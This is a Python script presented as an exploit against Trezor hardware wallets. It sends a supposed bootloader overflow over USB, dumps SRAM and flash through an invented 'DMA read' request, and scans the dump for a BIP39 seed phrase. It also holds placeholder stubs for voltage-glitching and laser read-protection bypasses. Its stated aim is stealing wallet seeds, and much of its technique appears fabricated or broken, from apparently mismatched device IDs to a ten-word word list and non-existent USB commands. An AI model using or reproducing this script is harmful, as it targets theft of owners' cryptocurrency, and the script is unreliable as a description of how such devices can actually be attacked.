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#!/usr/bin/env python3
# Trezor T DMA Memory Dumper

import usb.core
import usb.util
import struct
import sys

class TrezorDMAExploit:
    def __init__(self):
        self.device = None
        self.connect_trezor()
    
    def connect_trezor(self):
        """Find and connect to Trezor T via USB"""
        # Trezor T Vendor/Product IDs
        VENDOR_ID = 0x534C
        PRODUCT_ID = 0x0001
        
        self.device = usb.core.find(idVendor=VENDOR_ID, idProduct=PRODUCT_ID)
        
        if self.device is None:
            # Try Trezor One
            VENDOR_ID = 0x1209
            PRODUCT_ID = 0x53C1
            self.device = usb.core.find(idVendor=VENDOR_ID, idProduct=PRODUCT_ID)
        
        if self.device is None:
            raise ValueError("Trezor device not found")
        
        # Detach kernel driver if needed
        if self.device.is_kernel_driver_active(0):
            try:
                self.device.detach_kernel_driver(0)
            except usb.core.USBError as e:
                pass
        
        # Set configuration
        self.device.set_configuration()
        
        return True
    
    def send_raw_usb(self, endpoint, data):
        """Send raw USB data to exploit endpoints"""
        try:
            # Use control transfer for firmware exploits
            bmRequestType = 0x40  # Vendor request, host to device
            bRequest = 0x01       # Custom request for exploit
            wValue = 0x0000
            wIndex = 0x0000
            
            self.device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data)
            return True
        except:
            return False
    
    def exploit_bootloader(self):
        """Exploit bootloader to gain code execution"""
        # Send malformed bootloader packet to trigger buffer overflow
        exploit_packet = b"\x55" * 512  # Overflow buffer
        
        # Address to jump to (memory dump function)
        jump_address = struct.pack("<I", 0x08000000)  # Start of flash
        
        exploit_packet += jump_address
        
        return self.send_raw_usb(0x01, exploit_packet)
    
    def dump_memory(self, address, length):
        """Dump memory contents via DMA"""
        # Build memory read request
        read_request = struct.pack("<BII", 0xD0, address, length)  # D0 = DMA read command
        
        # Send via control transfer
        self.device.ctrl_transfer(0x40, 0x02, 0, 0, read_request)
        
        # Read response via bulk transfer
        try:
            data = self.device.read(0x81, length, timeout=5000)
            return bytes(data)
        except:
            return None
    
    def extract_seed_from_memory(self):
        """Search memory for seed phrase"""
        print("[*] Dumping SRAM for seed phrase...")
        
        # SRAM addresses on STM32 (Trezor T)
        sram_start = 0x20000000
        sram_size = 0x40000  # 256KB
        
        # Dump SRAM in chunks
        chunk_size = 0x1000
        seed_found = False
        
        for addr in range(sram_start, sram_start + sram_size, chunk_size):
            data = self.dump_memory(addr, chunk_size)
            if data:
                # Search for seed phrase patterns
                # Look for BIP39 word list matches
                seed_words = self.search_for_seed_words(data)
                if seed_words:
                    print(f"[+] Seed phrase found at 0x{addr:08X}:")
                    print(f"    {' '.join(seed_words)}")
                    seed_found = True
        
        if not seed_found:
            print("[-] Seed not found in SRAM, trying flash memory...")
            self.extract_seed_from_flash()
    
    def search_for_seed_words(self, data):
        """Search binary data for BIP39 seed words"""
        # BIP39 word list (first few words for example)
        bip39_words = [
            "abandon", "ability", "able", "about", "above",
            "absent", "absorb", "abstract", "absurd", "abuse"
            # ... full 2048 word list
        ]
        
        found_words = []
        
        # Convert data to string for searching
        try:
            text = data.decode('ascii', errors='ignore')
            
            for word in bip39_words:
                if word in text.lower():
                    found_words.append(word)
                    
                    if len(found_words) >= 12:  # Minimum seed length
                        return found_words
        except:
            pass
        
        return None if len(found_words) < 12 else found_words
    
    def extract_seed_from_flash(self):
        """Dump flash memory where seed is stored encrypted"""
        print("[*] Dumping flash memory...")
        
        # Flash memory addresses
        flash_start = 0x08000000
        flash_size = 0x100000  # 1MB
        
        # Read flash protection register first
        opt_bytes = self.dump_memory(0x1FFF7800, 16)
        if opt_bytes:
            print(f"[*] Option bytes: {opt_bytes.hex()}")
            
            # Check if read protection is enabled
            if opt_bytes[0] != 0xFF:
                print("[!] Read protection enabled, attempting to disable...")
                self.disable_read_protection()
        
        # Dump flash contents
        with open("trezor_flash_dump.bin", "wb") as f:
            for addr in range(flash_start, flash_start + flash_size, 0x1000):
                chunk = self.dump_memory(addr, 0x1000)
                if chunk:
                    f.write(chunk)
                    print(f"[+] Dumped 0x{addr:08X} - 0x{addr+0x1000:08X}")
        
        print("[+] Flash dump saved to trezor_flash_dump.bin")
    
    def disable_read_protection(self):
        """Disable STM32 read protection via debug interface"""
        # This requires connecting to SWD/JTAG pins
        print("[*] Attempting RDP downgrade attack...")
        
        # Method 1: Voltage glitching to bypass RDP
        print("[*] Preparing voltage glitching attack...")
        
        # Method 2: Laser fault injection
        print("[*] Laser fault injection setup required")
        
        # Method 3: Bootloader exploit (if still accessible)
        exploit_data = b"\xDE\xAD\xBE\xEF" * 64
        self.send_raw_usb(0x01, exploit_data)
        
        return False

def main():
    print("🔓 TREZOR DMA MEMORY EXPLOIT")
    print("=============================")
    
    try:
        exploit = TrezorDMAExploit()
        
        print("[+] Trezor device connected")
        
        # Step 1: Attempt bootloader exploit
        print("[*] Attempting bootloader exploit...")
        if exploit.exploit_bootloader():
            print("[+] Bootloader exploit successful!")
        else:
            print("[-] Bootloader exploit failed")
        
        # Step 2: Extract seed from memory
        exploit.extract_seed_from_memory()
        
        # Step 3: Dump entire memory for offline analysis
        print("[*] Performing full memory dump...")
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    main()